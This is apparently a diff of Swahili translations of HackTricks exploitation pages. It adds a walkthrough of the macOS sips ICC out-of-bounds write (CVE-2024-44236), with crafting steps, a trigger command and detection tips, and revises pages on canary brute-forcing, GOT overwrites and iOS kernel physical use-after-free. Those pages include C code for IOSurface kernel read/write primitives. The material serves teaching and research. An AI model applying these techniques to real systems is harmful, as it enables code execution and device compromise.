- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)

View File

@ -0,0 +1,53 @@
# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
{{#include ../../banners/hacktricks-training.md}}
## Overview
Ushirikiano wa kuandika nje ya mipaka katika Apple macOS Scriptable Image Processing System (`sips`) parser ya profaili ya ICC (macOS 15.0.1, sips-307) kutokana na uhakiki usio sahihi wa uwanja wa `offsetToCLUT` katika lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Faili ya ICC iliyoundwa inaweza kusababisha kuandika sifuri hadi byte 16 baada ya buffer ya heap, ikiharibu metadata ya heap au viashiria vya kazi na kuwezesha utekelezaji wa msimbo wa kiholela (CVE-2024-44236).
## Vulnerable Code
Kazi iliyo hatarini inasoma na kuweka sifuri byte 16 kuanzia kwenye offset inayodhibitiwa na mshambuliaji bila kuhakikisha inapatikana ndani ya buffer iliyotolewa:
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
}
```
Tuangalia tu `offsetToCLUT <= totalDataLength`. Kwa kuweka `offsetToCLUT == tagDataSize`, mzunguko unafikia hadi byte 16 baada ya mwisho wa `buffer`, ukiharibu metadata ya heap iliyo karibu.
## Hatua za Kutekeleza
1. **Tengeneza profaili mbaya ya `.icc`:**
- Jenga kichwa cha ICC (bytes 128) chenye saini `acsp` na kiingilio kimoja cha `lutAToBType` au `lutBToAType`.
- Katika jedwali la lebo, weka `offsetToCLUT` kuwa sawa na `size` ya lebo (`tagDataSize`).
- Weka data inayodhibitiwa na mshambuliaji mara moja baada ya block ya data ya lebo ili kuandika metadata ya heap.
2. **Chochea uchambuzi:**
```bash
sips --verifyColor malicious.icc
```
3. **Uharibifu wa metadata ya heap:** Kuandika sifuri OOB huandika metadata ya allocator au viashiria vya karibu, ikiruhusu mshambuliaji kuchukua udhibiti wa mtiririko na kufikia utekelezaji wa msimbo wa kiholela katika muktadha wa mchakato wa `sips`.
## Athari
Utekelezaji wa mafanikio unapelekea utekelezaji wa msimbo wa kiholela kwa mbali kwa ruhusa ya mtumiaji kwenye mifumo ya macOS inayotumia zana ya `sips` iliyo hatarini.
## Ugunduzi
- Fuata uhamishaji wa faili kwenye protokali za kawaida (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
- Kagua faili zilizohamishwa zikiwa na saini `acsp`.
- Kwa kila lebo `mAB ` au `mBA `, thibitisha ikiwa uwanja wa `Offset to CLUT` ni sawa na `Tag data size`.
- Weka alama kama ya kutatanisha ikiwa hali hii inakidhi.
## Marejeleo
- ZDI blog: CVE-2024-44236: Uthibitisho wa Utekelezaji wa Msimbo wa Mbali katika Zana ya Apple macOS sips
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Sasisho la Usalama la Apple Oktoba 2024 (patch inayopeleka CVE-2024-44236)
https://support.apple.com/en-us/121564
{{#include /banners/hacktricks-training.md}}

View File

@ -4,15 +4,17 @@
## Basic Information
Kikundi hiki kinajumuisha udhaifu wote unaotokea kwa sababu inawezekana kuandika upya data fulani kupitia makosa katika kushughulikia viashiria katika arrays. Ni kikundi pana sana kisichokuwa na mbinu maalum kwani mekanizma ya unyakuzi inategemea kabisa hali ya udhaifu.
Kikundi hiki kinajumuisha udhaifu wote unaotokea kwa sababu inawezekana kuandika tena data fulani kupitia makosa katika kushughulikia viashiria katika arrays. Ni kikundi pana sana kisichokuwa na mbinu maalum kwani mekanizma ya unyakuzi inategemea kabisa hali ya udhaifu.
Hata hivyo, hapa unaweza kupata **mfano** mzuri:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- Kuna **arrays 2 zinazogongana**, moja kwa **anwani** ambapo data inahifadhiwa na moja yenye **ukubwa** wa data hiyo. Inawezekana kuandika upya moja kutoka kwa nyingine, ikiruhusu kuandika anwani isiyo na mpangilio ikionyesha kama ukubwa. Hii inaruhusu kuandika anwani ya kazi ya `free` katika jedwali la GOT na kisha kuandika upya na anwani ya `system`, na kuita free kutoka kwa kumbukumbu yenye `/bin/sh`.
- Kuna **arrays 2 zinazogongana**, moja kwa **anwani** ambapo data inahifadhiwa na moja yenye **ukubwa** wa data hiyo. Inawezekana kuandika moja kutoka kwa nyingine, ikiruhusu kuandika anwani isiyo na mipaka ikionyesha kama ukubwa. Hii inaruhusu kuandika anwani ya kazi ya `free` katika jedwali la GOT na kisha kuandika tena na anwani ya `system`, na kuita free kutoka kwa kumbukumbu yenye `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, hakuna nx. Andika upya ukubwa ili kupata aina ya overflow ya buffer ambapo kila kitu kitatumika kama nambari mbili na kupangwa kutoka ndogo hadi kubwa hivyo inahitajika kuunda shellcode inayokidhi hiyo mahitaji, ikizingatia kwamba canary haipaswi kuhamishwa kutoka nafasi yake na hatimaye kuandika upya RIP na anwani ya ret, ambayo inakidhi mahitaji ya awali na kuweka anwani kubwa kuwa anwani mpya ikielekeza mwanzo wa stack (iliyovuja na programu) ili iwezekane kutumia ret kuruka huko.
- 64 bits, hakuna nx. Andika tena ukubwa ili kupata aina fulani ya overflow ya buffer ambapo kila kitu kitakuwa kinatumika kama nambari mbili na kupangwa kutoka ndogo hadi kubwa hivyo inahitajika kuunda shellcode inayokidhi hiyo mahitaji, ikizingatia kwamba canary haipaswi kuhamishwa kutoka nafasi yake na hatimaye kuandika tena RIP na anwani ya kurudi, ambayo inakidhi mahitaji ya awali na kuweka anwani kubwa kama anwani mpya ikielekeza mwanzo wa stack (iliyovuja na programu) ili iwezekane kutumia ret kuruka huko.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, hakuna relro, canary, nx, hakuna pie. Kuna off-by-one katika array kwenye stack inayoruhusu kudhibiti pointer ikitoa WWW (inaandika jumla ya nambari zote za array katika anwani iliyovunjwa na off-by-one katika array). Stack inasimamiwa hivyo anwani ya GOT `exit` inandikwa upya na `pop rdi; ret`, na katika stack inaongezwa anwani ya `main` (ikizunguka nyuma kwa `main`). Kisha mchain ya ROP kutolea nje anwani ya kuweka katika GOT kwa kutumia puts inatumika (`exit` itaitwa hivyo itaita `pop rdi; ret` kwa hivyo inatekeleza mchain hii katika stack). Hatimaye, mchain mpya ya ROP inayotekeleza ret2lib inatumika.
- 64bits, hakuna relro, canary, nx, hakuna pie. Kuna off-by-one katika array kwenye stack inayoruhusu kudhibiti pointer ikitoa WWW (inaandika jumla ya nambari zote za array katika anwani iliyovunjwa na off-by-one katika array). Stack inasimamiwa hivyo anwani ya GOT `exit` inandikwa tena na `pop rdi; ret`, na katika stack inaongezwa anwani ya `main` (ikizunguka nyuma kwa `main`). Kisha mchain ya ROP kutolewa anwani ya kuweka katika GOT kwa kutumia puts inatumika (`exit` itaitwa hivyo itaita `pop rdi; ret` kwa hivyo kutekeleza mchain hii katika stack). Hatimaye, mchain mpya ya ROP inayotekeleza ret2lib inatumika.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, hakuna relro, hakuna canary, nx, pie. Tumia uandishi mbaya wa viashiria kuvuja anwani za libc na heap kutoka kwenye stack. Tumia overflow ya buffer kufanya ret2lib ikitoa `system('/bin/sh')` (anwani ya heap inahitajika ili kupita kipimo).
{{#include /banners/hacktricks-training.md}}

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
**Ikiwa unakutana na binary iliyo na kinga ya canary na PIE (Position Independent Executable) huenda unahitaji kutafuta njia ya kuipita.**
**Ikiwa unakutana na binary iliyo na kinga ya canary na PIE (Position Independent Executable) huenda unahitaji kupata njia ya kuipita.**
![](<../../../images/image (865).png>)
> [!NOTE]
> [!TIP]
> Kumbuka kwamba **`checksec`** huenda isiweze kugundua kwamba binary ina kinga ya canary ikiwa hii ilikusanywa kwa njia ya statically na haiwezi kutambua kazi hiyo.\
> Hata hivyo, unaweza kugundua hili kwa mikono ikiwa unapata kwamba thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka.
@ -14,7 +14,7 @@
Njia bora ya kuipita canary rahisi ni ikiwa binary ni programu **inayo fork mchakato wa watoto kila wakati unapoanzisha muunganisho mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapojiunganisha nayo **canary ile ile itatumika**.
Basi, njia bora ya kuipita canary ni tu **kujaribu kwa nguvu kila herufi**, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kukagua ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi **ina jaribu kwa nguvu canary ya Bytes 8 (x64)** na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa **kuangalia** ikiwa **jibu** linatumwa nyuma na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/ukosefu**):
Basi, njia bora ya kuipita canary ni tu **kujaribu kwa nguvu char kwa char**, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kuangalia ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi **ina jaribu kwa nguvu canary ya 8 Bytes (x64)** na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa **kuangalia** ikiwa **jibu** linatumwa nyuma na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **try/except**):
### Mfano 1
@ -60,7 +60,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Mfano wa 2
Hii imewekwa kwa bit 32, lakini hii inaweza kubadilishwa kwa urahisi kuwa bit 64.\
Pia kumbuka kwamba kwa mfano huu **programu inatarajia kwanza byte moja kuashiria ukubwa wa ingizo** na payload.
Pia kumbuka kwamba kwa mfano huu **programu inatarajia kwanza byte kuashiria ukubwa wa ingizo** na payload.
```python
from pwn import *
@ -103,10 +103,10 @@ log.info(f"The canary is: {canary}")
```
## Threads
Threads za mchakato mmoja pia **zitaungana na tokeni ya canary** sawa, kwa hivyo itakuwa inawezekana **brute-forc**e canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.
Threads za mchakato mmoja pia **zitashiriki token ya canary** sawa, kwa hivyo itakuwa inawezekana **brute-forc**e canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.
Zaidi ya hayo, **overflow ya buffer katika kazi iliyo na thread** iliyolindwa na canary inaweza kutumika **kubadilisha canary mkuu iliyohifadhiwa katika TLS**. Hii ni kwa sababu, inaweza kuwa inawezekana kufikia nafasi ya kumbukumbu ambapo TLS inahifadhiwa (na kwa hivyo, canary) kupitia **bof katika stack** ya thread.\
Kwa matokeo, kinga ni bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
Kwa matokeo, kinga hiyo haina maana kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
Shambulio hili linafanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) ambayo inasema kwamba kawaida **TLS** inahifadhiwa na **`mmap`** na wakati **stack** ya **thread** inaundwa pia inazalishwa na `mmap` kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
@ -115,3 +115,8 @@ Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canar
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ili kuita `execve` na kuruka huko.
{{#include /banners/hacktricks-training.md}}

View File

@ -2,71 +2,71 @@
{{#include /banners/hacktricks-training.md}}
## Matumizi ya kimwili baada ya uhuru
## Physical use-after-free
Hii ni muhtasari kutoka kwa chapisho kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit inayotumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Hii ni muhtasari kutoka kwa chapisho kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit kutumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Usimamizi wa kumbukumbu katika XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
**Anwani ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** hutumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi za **kumbukumbu**.
**Anwani ya nafasi ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** hutumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi za **kumbukumbu**.
#### Viwango vya Meza za Kurasa katika iOS
#### Levels of Page Tables in iOS
Meza za kurasa zimeandaliwa kwa njia ya ngazi tatu:
1. **Meza ya L1 (Ngazi ya 1)**:
1. **L1 Page Table (Ngazi ya 1)**:
* Kila kipengee hapa kinawakilisha anuwai kubwa ya kumbukumbu ya virtual.
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) za kumbukumbu ya virtual.
2. **Meza ya L2 (Ngazi ya 2)**:
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) ya kumbukumbu ya virtual.
2. **L2 Page Table (Ngazi ya 2)**:
* Kipengee hapa kinawakilisha eneo dogo la kumbukumbu ya virtual, haswa **0x2000000 bytes** (32 MB).
* Kipengee cha L1 kinaweza kuelekeza kwenye meza ya L2 ikiwa hakiwezi kuunganisha eneo lote lenyewe.
3. **Meza ya L3 (Ngazi ya 3)**:
* Hii ni ngazi ya juu zaidi, ambapo kila kipengee kinaunganisha ukurasa mmoja wa kumbukumbu wa **4 KB**.
3. **L3 Page Table (Ngazi ya 3)**:
* Hii ndiyo ngazi ya chini zaidi, ambapo kila kipengee kinaunganisha ukurasa mmoja wa kumbukumbu wa **4 KB**.
* Kipengee cha L2 kinaweza kuelekeza kwenye meza ya L3 ikiwa udhibiti wa kina unahitajika.
#### Kuunganisha Kumbukumbu ya Virtual na Kumbukumbu Halisi
#### Mapping Virtual to Physical Memory
* **Kuunganisha Moja kwa Moja (Block Mapping)**:
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani halisi (kama njia fupi).
* **Kiashiria kwa Meza ya Kurasa ya Mtoto**:
* **Direct Mapping (Block Mapping)**:
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai iliyo karibu ya anwani za halisi (kama njia fupi).
* **Pointer to Child Page Table**:
* Ikiwa udhibiti wa kina unahitajika, kipengee katika ngazi moja (mfano, L1) kinaweza kuelekeza kwenye **meza ya kurasa ya mtoto** katika ngazi inayofuata (mfano, L2).
#### Mfano: Kuunganisha Anwani ya Virtual
#### Example: Mapping a Virtual Address
Hebu tuseme unajaribu kufikia anwani ya virtual **0x1000000000**:
Hebu sema unajaribu kufikia anwani ya virtual **0x1000000000**:
1. **Meza ya L1**:
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **kiashiria kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
2. **Meza ya L2**:
* Kernel inakagua meza ya L2 kwa kuunganisha kwa kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
3. **Meza ya L3**:
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani halisi** ya ukurasa halisi wa kumbukumbu.
1. **L1 Table**:
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **pointer kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
2. **L2 Table**:
* Kernel inakagua meza ya L2 kwa ramani ya kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
3. **L3 Table**:
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani halisi** ya ukurasa wa kumbukumbu halisi.
#### Mfano wa Kuunganisha Anwani
#### Example of Address Mapping
Ikiwa unaandika anwani halisi **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganisha na anwani halisi kutoka **0x800004000** hadi **0x802004000**.
* Hii ni **kuunganisha block** katika ngazi ya L2.
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganishwa na anwani halisi kutoka **0x800004000** hadi **0x802004000**.
* Hii ni **block mapping** katika ngazi ya L2.
Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
* Kila ukurasa wa 4 KB katika anuwai ya anwani ya virtual **0x1000000000 -> 0x1002000000** utaunganishwa na vipengee vya kibinafsi katika meza ya L3.
* Kila ukurasa wa 4 KB katika anuwai ya anwani za virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
### Matumizi ya kimwili baada ya uhuru
### Physical use-after-free
**Matumizi ya kimwili baada ya uhuru** (UAF) hutokea wakati:
**Physical use-after-free** (UAF) hutokea wakati:
1. Mchakato **unapotoa** kumbukumbu fulani kama **inasomeka na kuandikwa**.
2. **Meza za kurasa** zinasasishwa kuunganisha kumbukumbu hii na anwani halisi maalum ambayo mchakato unaweza kufikia.
2. **Meza za kurasa** zinasasishwa ili kuunganisha kumbukumbu hii na anwani halisi maalum ambayo mchakato unaweza kufikia.
3. Mchakato **unafuta** (huru) kumbukumbu hiyo.
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa kuunganisha** kutoka kwa meza za kurasa, ingawa inashiriki kumbukumbu halisi inayohusiana kama huru.
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa uhusiano** kutoka kwa meza za kurasa, ingawa inashiriki kumbukumbu halisi inayohusiana kama huru.
5. Kernel inaweza kisha **kutoa tena kumbukumbu halisi "iliyohifadhiwa"** kwa madhumuni mengine, kama **data ya kernel**.
6. Kwa kuwa kuunganisha hakukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu halisi hii.
6. Kwa kuwa uhusiano haukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu halisi hii.
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data au muundo wa nyeti, na hivyo kumruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data au muundo wa nyeti, na hivyo kuruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
### Mkakati wa Uhalifu: Heap Spray
### Exploitation Strategy: Heap Spray
Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazotolewa kwa kumbukumbu iliyohifadhiwa, wanatumia mbinu inayoitwa **heap spray**:
@ -77,13 +77,13 @@ Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazot
Taarifa zaidi kuhusu hii katika [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Mchakato wa Heap Spray Hatua kwa Hatua
### Step-by-Step Heap Spray Process
1. **Spray Vitu vya IOSurface**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
2. **Chunguza Kurasa Zilizohifadhiwa**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
3. **Soma/Andika Kumbukumbu ya Kernel**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mpangilio** katika kumbukumbu ya kernel. Hii inawaruhusu:
1. **Spray IOSurface Objects**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
2. **Scan Freed Pages**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
3. **Read/Write Kernel Memory**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mpangilio** katika kumbukumbu ya kernel. Hii inawaruhusu:
* Kutumia eneo moja **kusoma thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
* Kutumia eneo lingine **kuandika thamani za 64-bit**, kufikia **kumbukumbu thabiti ya kusoma/kuandika ya kernel**.
* Kutumia eneo lingine **kuandika thamani za 64-bit**, kufikia **primitive ya kusoma/kuandika ya kernel** thabiti.
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE_MAGIC ili baadaye kutafuta:
```c
@ -142,14 +142,14 @@ return 0;
```
### Kufikia Kernel Read/Write na IOSurface
Baada ya kupata udhibiti juu ya kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
Baada ya kupata udhibiti wa kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachiliwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
**Sehemu Muhimu katika IOSurface**
Kitu cha IOSurface kina sehemu mbili muhimu:
1. **Pointer ya Hesabu ya Matumizi**: Inaruhusu **kusoma 32-bit**.
2. **Pointer ya Wakati wa Kielelezo**: Inaruhusu **kuandika 64-bit**.
2. **Pointer ya Wakati wa Kijalala**: Inaruhusu **kuandika 64-bit**.
Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika kumbukumbu ya kernel, na kuwezesha uwezo wa kusoma/kuandika.
@ -158,7 +158,7 @@ Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika
Ili kufanya kusoma:
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya 0x14-byte.
2. Tumia njia ya `get_use_count` kusoma thamani katika anwani hiyo.
2. Tumia mbinu ya `get_use_count` kusoma thamani katika anwani hiyo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
@ -180,7 +180,7 @@ return value;
Ili kufanya kuandika:
1. Badilisha **kiashiria cha wakati kilichoorodheshwa** kwa anwani ya lengo.
1. Badilisha **kiashiria cha muda kilichoorodheshwa** kwa anwani ya lengo.
2. Tumia njia ya `set_indexed_timestamp` kuandika thamani ya 64-bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -197,11 +197,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
```
#### Muhtasari wa Mchakato wa Ulaghai
1. **Chochea Matumizi Baada ya Kuachiliwa**: Kurasa zilizofunguliwa zinapatikana kwa matumizi tena.
1. **Chochea Matumizi-Baada ya Kuachia**: Kurasa zilizofunguliwa zinapatikana kwa matumizi tena.
2. **Sambaza Vitu vya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya uchawi" ya kipekee katika kumbukumbu ya kernel.
3. **Tambua IOSurface Inayopatikana**: Pata IOSurface kwenye ukurasa ulioachiliwa ambao unadhibiti.
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa njia isiyo na mipaka kupitia mbinu za IOSurface.
3. **Tambua IOSurface Inayopatikana**: Tafuta IOSurface kwenye ukurasa ulioachwa ambao unadhibiti.
4. **Tumia Matumizi-Baada ya Kuachia**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika kwa kernel** bila mipaka kupitia mbinu za IOSurface.
Kwa kutumia hizi mbinu, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha mbinu za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
Kwa kutumia hizi primitives, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha primitives za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
{{#include /banners/hacktricks-training.md}}

View File

@ -8,13 +8,13 @@ Wakati unachomoa kumbukumbu katika programu ukitumia glibc, "bins" tofauti zinat
### Bins Zisizo na Mpangilio
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinaongezwa mbele ( "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma ( "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa kuliko unavyohitaji, kinagawanywa, huku sehemu ya mbele ikirudishwa na sehemu iliyobaki ikibaki kwenye bin.
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinaongezwa mbele (the "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma (the "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa zaidi ya kile unachohitaji, kinagawanywa, ambapo sehemu ya mbele inarudishwa na sehemu iliyobaki inabaki kwenye bin.
Mfano:
- Unapotoa 300 bytes (`a`), kisha 250 bytes (`b`), unachomoa `a` na kuomba tena 250 bytes (`c`).
- Wakati unachomoa `a`, inaenda kwenye bin isiyo na mpangilio.
- Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuigawanya, akirudisha sehemu inayofaa ombi lako na kuacha zingine kwenye bin.
- Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuigawanya, akirudisha sehemu inayofaa ombi lako na kuweka zingine kwenye bin.
- `c` itakuwa ikielekeza kwenye `a` ya awali na kujazwa na `a's`.
```c
char *a = malloc(300);
@ -24,7 +24,7 @@ char *c = malloc(250);
```
### Fastbins
Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator itavuta kutoka kichwa cha fastbin.
Fastbins hutumiwa kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins huongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator atavuta kutoka kichwa cha fastbin.
Mfano:
@ -55,6 +55,8 @@ d = malloc(20); // a
- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachilia ili ziingie kwenye fast bin (au tcache).
- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi ili kiashirie kazi ya ushindi na kisha Tumia-Baada-ya-Kuachiliwa noti1 ili kuita kiashiria kipya cha kazi.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- Inawezekana kugawa kumbukumbu, kuandika thamani inayotakiwa, kuachilia, kuigawa tena na kwa kuwa data ya awali bado ipo, itatendewa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera.
